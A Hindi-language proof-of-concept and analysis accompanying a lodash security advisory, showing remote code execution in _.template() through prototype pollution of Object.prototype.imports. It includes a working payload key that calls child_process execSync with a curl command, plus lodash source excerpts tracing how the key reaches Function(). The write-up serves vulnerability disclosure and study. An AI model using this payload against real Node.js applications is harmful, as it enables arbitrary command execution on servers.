
प्रोटोटाइप प्रदूषण के माध्यम से lodash टेम्पलेट में रिमोट कोड निष्पादन प्रदर्शित करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें हमले के प्रवाह और शोषण तकनीक का विस्तृत विश्लेषण शामिल है।
https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

पहले से मौजूद प्रोटोटाइप प्रदूषण भेद्यता का उपयोग करके Object.prototype.imports को हमलावर-नियंत्रित गुण से प्रदूषित करना
इसके बाद, यह _.template('', {}) को सामान्य सादे-ऑब्जेक्ट विकल्प मान के साथ कॉल करता है
_.template() के अंदर, lodash options को के साथ पर कॉपी करता है
assignInWith({}, options, settings, ...)function template(string, options, guard) {
// Based on John Resig's `tmpl` implementation
// (http://ejohn.org/blog/javascript-micro-templating/)
// and Laura Doktorova's doT.js (https://github.com/olado/doT).
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
...
assignInWith lodash.js:12778 पर keysIn(source) का उपयोग करता है var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});
keysIn() lodash.js:13440 पर विरासत में मिले गणनीय गुणों को शामिल करता है function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}
क्योंकि options ऑब्जेक्ट एक सामान्य {} है, यह Object.prototype से प्रदूषित imports गुण को विरासत में प्राप्त करता है, और lodash उस विरासत में मिले मान को स्थानीय options.imports में कॉपी करता है
lodash फिर lodash.js:14889 पर assignInWith({}, options.imports, settings.imports, ...) के साथ imports बनाता है, lodash.js:14889 पर importsKeys निकालता है, और उन्हें lodash.js:14957 पर Function(importsKeys, ...) में पास करता है
...
// Cleanup code by stripping empty strings.
source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
.replace(reEmptyStringMiddle, '$1')
.replace(reEmptyStringTrailing, '$1;');
// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
...
मेरी प्रदूषित कुंजी को डिफ़ॉल्ट अभिव्यक्ति के साथ एक औपचारिक पैरामीटर के रूप में माना जाता है:
x=process.getBuiltinModule("child_process").execSync("curl https://example.com")